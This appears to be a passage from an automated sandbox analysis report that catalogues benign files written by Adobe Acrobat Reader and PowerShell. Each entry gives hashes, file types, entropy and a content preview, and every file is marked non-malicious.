SHA-512:	80EF3A2CCA80E1E9DFCF73F2588169F40537B5CFBA4A3BD1454D49EF23075791CF6EE3F5A568CEF46C3EEDF7B9DD050B2AD136AD0E4ABB806C7D7675D3D8FB71
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b2b087f-3183-48bc-bf81-760509d0ea81","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716513177,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.293944430594608
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE3w4DSnZiQ0YMbxoAvJf21rPeUkwRe9:YvXKXE/DSchyG+16Ukee9
MD5:	479AF89EC4CFBE2999AE61A1BEA44D81
SHA1:	345458C4BEB068919A03E41C1DAEA5E1DA94BEEB
SHA-256:	A93025D23B829C597169F47D69EFDF5685341D8B296A7CED7C44F7F49EDBEE8B
SHA-512:	086FC42A36C6721B9F1BA68DA7EC7C7F435DFA803C54F32A39C80A76DFC7E5F00422A753D1B0A0542E468B0549159AF1C28806560B02260D667A19F780DBE042
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b2b087f-3183-48bc-bf81-760509d0ea81","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716513177,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.668372657715642
Encrypted:	false
SSDEEP:	24:Yv6XADH1amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS/:YvLDJBgkDMUJUAh8cvM/
MD5:	378278A79689C59D5208DFA7D7B88788
SHA1:	882D4C6D0E6DA0CEC2B460B78392370B1B9F80A8
SHA-256:	E6E91AD427FA2E31A3AEAB606238AC996874C158229E844AFCFB597BCFC2EC5A
SHA-512:	5A7CAE52EB17A31DA589091594C19C9E03E07BEBD90C28C987BFDB586DEC534A6AD266FAF2EFB9757E6C10020B40D315532B18539AF32347C9F19DB71451CBD8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b2b087f-3183-48bc-bf81-760509d0ea81","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716513177,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.271914733653007
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE3w4DSnZiQ0YMbxoAvJfshHHrPeUkwRe9:YvXKXE/DSchyGUUUkee9
MD5:	9CFC9540C13ADA492706BDC1DC45D9D4
SHA1:	A45966507CA21EE24B3102229DA2F3BABBDAADC1
SHA-256:	836B76D105C870673BE380C58CCBCD82B0AD614E832EED4C305E345B4725A85B
SHA-512:	D069405A4ED70B9740C911E78E6FB4D109104F08A1EDBF94D3EB86258C72A4E1C7B1704590EAA11583D101C37C8D7CE25D2EDC6CAE95F488AAE7267CC5C820FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b2b087f-3183-48bc-bf81-760509d0ea81","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716513177,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.278701935785269
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE3w4DSnZiQ0YMbxoAvJTqgFCrPeUkwRe9:YvXKXE/DSchyGTq16Ukee9
MD5:	9663DB1809D46445218E3D3AAB0546E3
SHA1:	35A7B39C7BED07643CB723016B87F07B15859D7D
SHA-256:	E2969DDC595D3201E4B8BAB8363DB7A094E8E249C37C116699161646A965CEA5
SHA-512:	4C2B6B6CCB2122264B2BA275C717A3A5C15BF2211FAD000BE8CC00A7EE5528EB93E7A9E7DC0624B3B398EC36E503EE8102980FA2C78B4426CE0718A75B2799C4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1b2b087f-3183-48bc-bf81-760509d0ea81","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716513177,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.140936268067567
Encrypted:	false
SSDEEP:	48:Y+Mw8RH7u/N1TRQs0SXPh8saWKeYB/mh9wo:KRHyrdQUXybW4B/m/wo
MD5:	FDC77B3277425C99E4A5114E3DE5CDB1
SHA1:	0FB0EE7B6446C980E5CA38A906E3EFA40BE8507B
SHA-256:	C025020F3A100A4058C8C1DC9FE4A59F13877D1B0CF161A8F827303923C07567
SHA-512:	1CC452ADF46372B1E57157C4A45586A4E948773EA5FCBDC8E702F91209E9331965D8C8DCAD378F009CE96B7F3828A7C687A5C4E182FCB4B87E5F639565E75A22
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b26276e6005b574a7658ceccf8d3038f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736539152000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"1c47d2adcd37b1b55362be1f4f1cb79b","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736539152000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"a2feb94ea139f79cb0da9b0041793cff","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736539152000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"909c933e9d5d0a2c9b980ecfcfa5018c","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736539152000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"bf6bee1e3aaea8b08f8bc6e07fa47c64","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736539152000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"5a73996a55314acafc424d2acda506c7","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1470399688863142
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urs7RZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHm:TFl2GL7msfXc+XcGNFlRYIX2v3km
MD5:	9D289C429DF8D0BC73A1859ECBD3CA5F
SHA1:	CCEC7B9C2359AE94AECA8A2A9AE01E4AC5F5CEAB
SHA-256:	EC868FF71296FC9E97EDBAE6A42BC6C3477E7ED870D31D7F42FBD12034A8A9D3
SHA-512:	3E6E4637DBF816DA0B8802E3998344C741B801DE4E9CA9E66E7EEE2DA440A0B2E2260C749E8949040AB0E28D15F7BFA7CE4D6DF17FF1D9967C4D5127F22F0022
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5518578886585126
Encrypted:	false
SSDEEP:	24:7+tEqUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxsqLxx/XYK0:7M2Xc+XcGNFlRYIX2vVqVl2GL7mss
MD5:	EC9AD2F0C2E3FCE01F6BF69FE49B2B93
SHA1:	ECF72DAC9C0AD208F034606836F3210EDCB4077A
SHA-256:	BDFB03BB0D9BE62E642D3694F78E34D41C2D7D2C60F757FC3BAEA2966B4083C9
SHA-512:	EDB8D20AB076335279A8073835464FCFC38397C03A4923AA875C1762AEDB720EB3E893FFF19DED627E25EC9A11E624496B21808CFA855794CFE39D445236E922
Malicious:	false
Preview:	.... .c..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEghBNtXbXxUu51RdUHKITpZo86rYyu:6a6TZ44ADEhBXXbX55fds0K
MD5:	46D72FC17AB6C3FC1F27ADC57418E344
SHA1:	AF4EF4BDB7F4C34CFA15D7194FFA7D502F922939
SHA-256:	67ACFACE428776E98611BAE93B6281C3BC6828415F085608AE6B92EC95C02412
SHA-512:	D7E7FBFC4AA7E01FAEE5AA4AE4E6F8F704F286A33F426597BAB146EB57D97F4E736A8FC9AD80ECDD7557106728F3AA1DDB1C9BB3E7CADF69C352572B6418CE1A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI1bcd.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5136057226030957
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClERq:Qw946cPbiOxDlbYnuRK+bDI
MD5:	E465A4EFFB48A0C7CDA7BA7A720AC9F2
SHA1:	6379E7FCF858E559E306512FFF55FDB83E82B5C9
SHA-256:	97C53202249143A1A08A676AD51DB79BF7F1A254E3653A3A0C6435B7EEC25AAF
SHA-512:	107B859927029773E9C33C30F7B99CF38BC29E58D3D2E0F360EBD67C8A31E480A48AFB0FD0D4C3DECD2B4971F9F7DE672BA5B06E802E9EF4FB6B98DB26724CD3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.4.:.5.9.:.1.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_actbt5ph.dvo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o0l4xq2s.vqq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-59-06-775.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3596555305649165
Encrypted:	false
SSDEEP:	384:RvDDfDWDvDvDSiskiWititiMimBH202GV0VGkfkXkAk3k8ykuzk8+1SfSrS1ZHZT:RrTyDTWrkTywDJlBVuQgErewDz3mscK/
MD5:	0B05DB55BC47CD593703DA6156B6FA3A
SHA1:	236B2F62ACFB9DE60DA1AECEE245D1FCDE01793E
SHA-256:	B589DB46FD555D9E1467ACA85A427F89AF7F506B9FB569D936A8D0335F7A22FE
SHA-512:	5807D4BEE3C975376ECA4D5223B8CF48C3975E1A2DC7E50BEF96240EC7B79D056844B2074B67E8AA3938E3091814B9A2183EB7832AC812D01B2690EDBE44078F
Malicious:	false
Preview:	SessionID=2ad06f4c-9b6b-41e5-927e-8e59a0f56530.1736539146786 Timestamp=2025-01-10T14:59:06:786-0500 ThreadID=7824 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=2ad06f4c-9b6b-41e5-927e-8e59a0f56530.1736539146786 Timestamp=2025-01-10T14:59:06:812-0500 ThreadID=7824 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=2ad06f4c-9b6b-41e5-927e-8e59a0f56530.1736539146786 Timestamp=2025-01-10T14:59:06:812-0500 ThreadID=7824 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=2ad06f4c-9b6b-41e5-927e-8e59a0f56530.1736539146786 Timestamp=2025-01-10T14:59:06:812-0500 ThreadID=7824 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=2ad06f4c-9b6b-41e5-927e-8e59a0f56530.1736539146786 Timestamp=2025-01-10T14:59:06:812-0500 ThreadID=7824 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.399966542728652
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbFycbsInhcb9:V3fOCIdJDejBny
MD5:	566C3B2430B5FF78E850F783A7A23617
SHA1:	0F9200F152DCEFCB41E59C3DB76536B14CF75F76
SHA-256:	BB10AA10BD126E7C03811A24A4A18C1040E7B52782927E3D9B25310B04BD185F
SHA-512:	C935FC6BF3376B078E45D88F13B7B1D0840809CA5DAEAF1CB58C12A2093C0E1BE78CFE789E4755799183DB73533F6400BB609F0672C28E2E0083E187ECC8F183
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0bb0f581-e08f-4901-aec6-b2c65edb6093.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\312742e4-6d17-4e1d-81fd-b10d01d11940.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4meW/07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6XW/xBGZN3mlind9i4ufFXpAXkru
MD5:	19B58CF323E759FD39EFAB4128F9890C
SHA1:	8933E777F29FB88546542CF2FAA69FABF0A818D2
SHA-256:	D996B644B73567E4B9A246570DDE3CB1A56D6F487E049DA530EC49F3F375426C
SHA-512:	F947AA162581DF0A429C8990D2CE43BDF78B2F2F859CEBA6C75BF71D7D05417E722EBE1AB2CC78C1353E57E502AAC8FC5040FD0E05AF1418F58C11DFC7FF89B3
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\888b3808-6afa-4381-882c-a580de66b22e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
